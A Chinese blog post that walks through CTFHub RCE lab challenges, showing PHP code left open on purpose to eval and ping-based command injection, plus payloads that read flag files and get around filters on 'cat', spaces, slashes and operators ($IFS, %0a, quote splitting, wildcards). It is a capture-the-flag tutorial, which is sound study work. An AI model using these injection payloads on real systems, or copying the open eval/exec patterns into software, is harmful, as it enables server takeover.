RCE 漏洞 CTFhub学习

最新推荐文章于 2024-04-19 19:55:31 发布
最新推荐文章于 2024-04-19 19:55:31 发布
阅读量1k 收藏 10
点赞数 1
分类专栏： RCE漏洞 文章标签： 安全 linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_51954912/article/details/117556228
版权

文章目录

前言

之前刷buu的题的时候，见过RCE漏洞的题，但是由于没有系统的学习，解题比较的困难。这次，系统的学习一下，防止以后遇见没有思路。

什么是RCE漏洞

RCE英文全称：remote command/code execute
分为远程命令执行ping和远程代码执行evel。
出现的原因是：没有在输入口做输入处理。

eval执行

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

由于PHP基础不牢，百度了一下$_REQUEST

PHP $_REQUEST是用于收集HTML表单提交的数据，PHP $_REQUEST属于PHP的超级全局变量
eval 就是输出的意思

1.先查询此页面的目录

?cmd=system("ls");

system是可以执行系统命令的函数

在这里插入图片描述
可以看到此页面就包含一个index.php目录
2.查看根目录
在此前，我插入一个知识点
ls和ls /的区别

ls 无参数时，显示当前目录下的文件。当前目录就是指，用户操作命令时，所处的目录，可用pwd看到
ls / 参数/是根目录的意思，这表示显示根目录下的文件

在这里插入图片描述
查看根目录可以看到有flag_6423文件
3.查看flag_6423文件

?cmd=system("cat /flag_6243");

在这里插入图片描述
得到flag

命令注入（无过滤）

题目

这是一个在线测试网络延迟的平台，路由器中经常会见到。无任何安全措施，尝试获取 flag

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

在这里插入图片描述
1.尝试查看当前目录

;ls

在这里插入图片描述2.查看306201924611922.php

cat 306201924611922.php

在这里插入图片描述
无回显，可能藏在源码里
在这里插入图片描述
果然

过滤cat

题目

过滤了cat命令之后，你还有什么方法能读到 Flag?

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

在这里插入图片描述
1.先查看当前页面的目录

1;ls

在这里插入图片描述
2.查看flag_15619585028752.php
因为过滤了cat，我们需要绕过

  • 单引号双引号过滤
?ip=；ca''t  flag_15619585028752.php
?ip=；ca""t   flag_15619585028752.php
  • 反斜杠绕过
?ip=；ca\t  flag_15619585028752.php
  • shell特殊变量绕过
?ip=；ca$@t  flag_15619585028752.php
?ip=；ca$1t  flag_15619585028752.php
  • linux中存在许多别的可以查看文件的命令
cat、tac、more、less、head、tail、file -f、nl、sed、sort、uniq

cat： 由第一行开始显示档案内容
tac： 从最后一行开始显示，可以看出 tac 是 cat 的反向显示！
nl： 显示的时候，随便输出行号！
more： 一页一页的显示档案内容
less 与 more 类似，但是比 more 更好的是，他可以[pg dn][pg up]翻页！
head： 查看头几行
tail： 查看尾几行
od： 以二进制的方式读取档案内容！
最常使用的显示档案内容的指令可以说是 cat ，more 及 less 了！

在这里插入图片描述

过滤空格

题目

这次过滤了空格，你能绕过吗

源码


<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

在这里插入图片描述
1.还是老样子，查看此页面下的目录

;ls

在这里插入图片描述
2.查看flag_92171963431484.php文件里面的内容
构建payload

;cat flag_92171963431484.php

但是它过滤了空格，所以就需要我们绕过空格

 < 
 <>
 %20(space)
 %09(tab)
 $IFS$9
  ${IFS}
  $IFS

以上字符均可。
构建新的payload


;cat$IFS$1flag_92171963431484.php

在这里插入图片描述

过滤目录分隔符

题目

这次过滤了目录分割符 / ，你能读到 flag 目录下的 flag 文件吗

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

在这里插入图片描述
1.查看此页面下的目录

;ls

在这里插入图片描述
2.查看flag_is_here文件的内容
正常的payload已经没用了

;cat flag_is_here

已经没有用了
一些linux和window中的命令分割符

linux中：%0a 、%0d 、; 、& 、| 、&&、||
windows中：%0a、&、|、%1a（一个神奇的角色，作为.bat文件中的命令分隔符）

由于过滤了目录分隔符，所以需要cd到当前目录查看，并且使用；分割符连续执行指令

;cd flag_is_here;ls

到flag_is_here目录下，查看他的目录文件
在这里插入图片描述

;cd flag_is_here;cat flag_181751073420157.php

到flag_is_here目录下，查看flag_181751073420157.php的内容

在这里插入图片描述

过滤运算符

题目

过滤了几个运算符, 要怎么绕过呢

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

在这里插入图片描述
1.从代码中，可以看出，过滤了 | 和 & 两个字符
所以我们使用 ； 分隔符

2.查看当前目录下的文件

;ls

在这里插入图片描述
3.查看flag_23971724918083.php的内容

;cat flag_23971724918083.php

在这里插入图片描述

综合过滤练习

题目

同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

在这里插入图片描述

本题在输入框里面不能执行命令，构建的payload应该直接在url后添加
1.查看源码，可以知道过滤了 | ，& ， cat ，flag， ctfhub，; ，/ ，空格 等字符。
2.查看当前页面下的目录

原命令：|ls
# 用%0a替换|
输入命令： %0als

在这里插入图片描述
3.查看flag_is_here,文件下的目录

原命令：;cd flag_is_here ;ls
# ;用%0a绕过
# ${IFS}代替空格
# flag被过滤了，使用通配符*绕过
输入命令： %0acd${IFS}*_is_here%0als

在这里插入图片描述
4.查看 flag_2226735174158.php

原命令：;cd flag_is_here ;cat flag_2226735174158.php
#用more代替cat
输入命令：%0acd${IFS}*_is_here%0amore%09*_2226735174158.php

得到flag
在这里插入图片描述

卡面来打01
关注
  • 1
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
专栏目录
CTFhub-RCE漏洞详解
qq_49422880的博客
05-19 2442
CTFHUB-RCE漏洞详解（一）一、eval执行二、文件包含三、php://input   RCE英文全称：remote command/code execute（远程命令/代码执行漏洞）是互联网的一种安全漏洞。   它可以让攻击者直接向后台服务器远程注入操作系统命令，相当于直接操控服务器电脑的cmd命令行！从而操控后台系统，高危漏洞！   RCE漏洞产生的根本原因：服务器像php环境版本对可执行变量函数没有做过滤，导致在没有自定义相对路径的情况下就运行命令去执行,从而导致服务器被入侵。 一、eval执行
CTF_WEB学习-------------RCE之命令注入
qq_45616570的博客
07-14 2863
CTF_WEB学习-------------RCE之命令注入 REC 什么是RCE？ ​ 远程命令/代码执行漏洞，简称为RCE漏洞，可以直接向服务器后台远程注入操作系统的命令或者代码，从而拿到服务器后台的权限。RCE分为远程执行命令（执行ping命令）和远程代码执行eval。 RCE产生的原因？ ​ 漏洞的起源是在开发的过程中带有输入-执行功能的系统时，由于输入过滤不严谨，导致的命令产生了注入。 RCE漏洞分类 命令注入 文件包含 eval执行 命令注入 什么是命令注入？ ​ 命令注入就是通过控
RCE漏洞及其绕过——[SWPUCTF 2021 新生赛]easyrce、caidao、babyrce
最新发布
2401_82985722的博客
04-19 1126
（参考）Shell是一个程序，它在用户和操作系统之间提供了一个面向行的可交互接口。用户在命令行中输入命令，运行在后台的shell把命令转换成指令码发给操作系统。远程代码执行漏洞远程命令执行漏洞。
ctf bugku 变量1
qq_35191331的博客
08-12 3539
flag In the variable !  error_reporting(0); // 关闭php错误显示 include "flag1.php"; // 引入flag1.php文件代码 highlight_file(__file__); if(isset($_GET['args'])){ // 通过get方式传递 args变量才能执行if里面的代码     $args
ctfshow--RCE极限挑战
bossDDYY的博客
11-20 1627
使用A的话构造GET肯定是无法小于105 那么可以尝试构造POST。phpinfo安装了一个扩展gettext，该扩展支持函数。，我们可以利用反引号执行命令 echo输出。我们跑一下 看看哪些字符没有被过滤。要保证构造payload长度小于。限制字符的自增 对于我来说较难。fuzz测试哪些字符没有被过滤。另外更有大佬的payload。fuzz测试什么没有被过滤。限制传入的参数长度小于等于。fuzz测试，可用字符。构造的payload。
RCE绕过之无回显
Ciyaso的博客
07-23 2890
①shell_exec等无回显函数。 判断方法： ls;sleep(3) 利用： Ⅰ.复制，压缩，写shell等方法 copy flag.php flag.txt mv flag.php flag.txt cat flag.php > flag.txt Ⅱ.压缩方法 tar cvf flag.tar flag.php #tar压缩 tar zcvf flag.tar.gz flag.php #tar解压 zip flag.zip flag.php #zip压缩 unzip flag.
ThinkPHP3.2.x RCE漏洞通报1
08-03
3.寻找程序上传，上传件 1.功能代码中的assign法中第个变量为可控变量： 3.赋值结束后进display法中，display法开始解析并获取模板件内容，此
向日葵RCE漏洞（CNVD-2022-10270）检测工具
02-19
向日葵RCE漏洞（CNVD-2022-10270）检测工具，已经编译好，命令行运行即可 xrkrce.exe -h 127.0.0.1
向日葵RCE漏洞一键批量自己检测工具
02-25
测试自己向日葵是否存在RCE漏洞
LOG4J RCE 漏洞分享与自查.pdf
12-15
LOG4J RCE 漏洞分享与自查
NGINX-RCE:nginx的rce漏洞利用
04-04
NGINX-RCE nginx的rce漏洞利用怎么运行呢？ 首先只需使用gcc gcc expl0itz.c -o expl0itz 然后chmod chmod +x expl0itz 像二进制文件一样运行之后！ ./expl0itz
CTFHub之RCE
遇事不决冲冲冲
04-17 1474
应用有时需要调用一些执行系统命令的函数，当服务器没有经过严格过滤用户的参数，这时候就可能导致命令执行，从而导致命令执行漏洞 常用命令执行函数 system():　　该函数会把执行结果输出。 passthru():　　该函数只调用命令，并把运行结果原样地直接输出没有返回值 exec():　　不输出结果，返回执行结果地最后一行 shell_exec():　　不输出结果，返回执行结果 eval执行 源代码就在脸上 <?php if (isset($_REQUEST['cmd'])) { eva
RCE漏洞基础及CTF绕过
qq_61988806的博客
12-15 461
对于两个二进制位，如果相应位相同则结果为 0，如果相应位不同则结果为 1。
CTFHUB--RCE漏洞初步学习
qq_75120258的博客
03-27 669
关于RCE，在学习过程中其实已经接触到了很多，但在学习的时候都是这儿那儿一点一点的拼接起来的，所以看了很多大佬的博客，总结了一下，打算写一篇博客，好好的整理一下自己学习RCE所学到的东西。
无参数rce
qq_45570082的博客
06-07 2030
总结一下无参数rce的各种解法（为了便于自己查找，同时为了把自己收藏夹的几个相关网址删掉，每次都在别人博客找很麻烦的（手动狗头）） 首先准备代码 <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['a'])) { eval($_GET['a']);} 利用session_id php中有一个函数叫session_id(),可以直接获取到cookie中的phpsessionid值，phpsessionid的组成符号有
【CTF】命令执行RCE
qq_53099119的博客
04-02 2580
md5() 函数计算字符串的 MD5 散列。md5() 函数使用 RSA 数据安全，包括 MD5 报文摘要算法。来自 RFC 1321 的解释 - MD5 报文摘要算法：MD5 报文摘要算法将任意长度的信息作为输入值，并将其换算成一个 128 位长度的"指纹信息"或"报文摘要"值来代表这个输入值，并以换算后的值作为结果。MD5 算法主要是为数字签名应用程序而设计的；
csrf,ssrf,rce,文件包含漏洞，文件上传漏洞
nightswatch1的博客
04-21 3351
21 CSRF与SSRF漏洞 21.1课程大纲 参考链接： 【小迪安全】Day29web漏洞-CSRF及SSRF漏洞案例讲解-哔哩哔哩(bilibili.com) 正在上传…重新上传取消 参考①：cnblogs.com/dogecheng/p/11583412.thml 21.2CSRF...
RCE(命令执行)总结
leekos的博客，分享web安全相关知识~
01-05 2285
RCE(命令执行)总结
CTF信息泄漏
weixin_56947109的博客
04-22 736
文章目录一、目录遍历1.打开题目2.进入环境3.解题步骤二、PHPINFO1.打开题目2.进入环境3.解题步骤 一、目录遍历 1.打开题目 2.进入环境 通过题目开启后，打开题目附件 3.解题步骤 ①打开网站，提示点击寻找flag ②跳转到flag_in_here这个目录，挨个对里面的目录进行寻找。 ③因为flag每次出现的位置都随机，多找找就可以发现 ④最终可以在某个目录中找到flag 二、PHPINFO 1.打开题目 2.进入环境 通过题目开启后，打开题目附件 通过下方链接进入环境 http
ctfhub rce
09-01
你想了解关于 CTFHub 的 RCE（远程命令执行）相关内容吗？CTFHub 是一个针对CTF（Capture The Flag）竞赛的学习平台，而RCE是一种常见的漏洞类型之一。在CTFHub上，你可以学习如何发现和利用RCE漏洞来获取系统权限。这样的技能在网络安全领域特别重要。 请注意，RCE是一种违法行为，在未经授权的情况下进行RCE攻击是被禁止的。在学习过程中，请遵循合法和道德准则，并严禁将所学技术用于非法用途。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值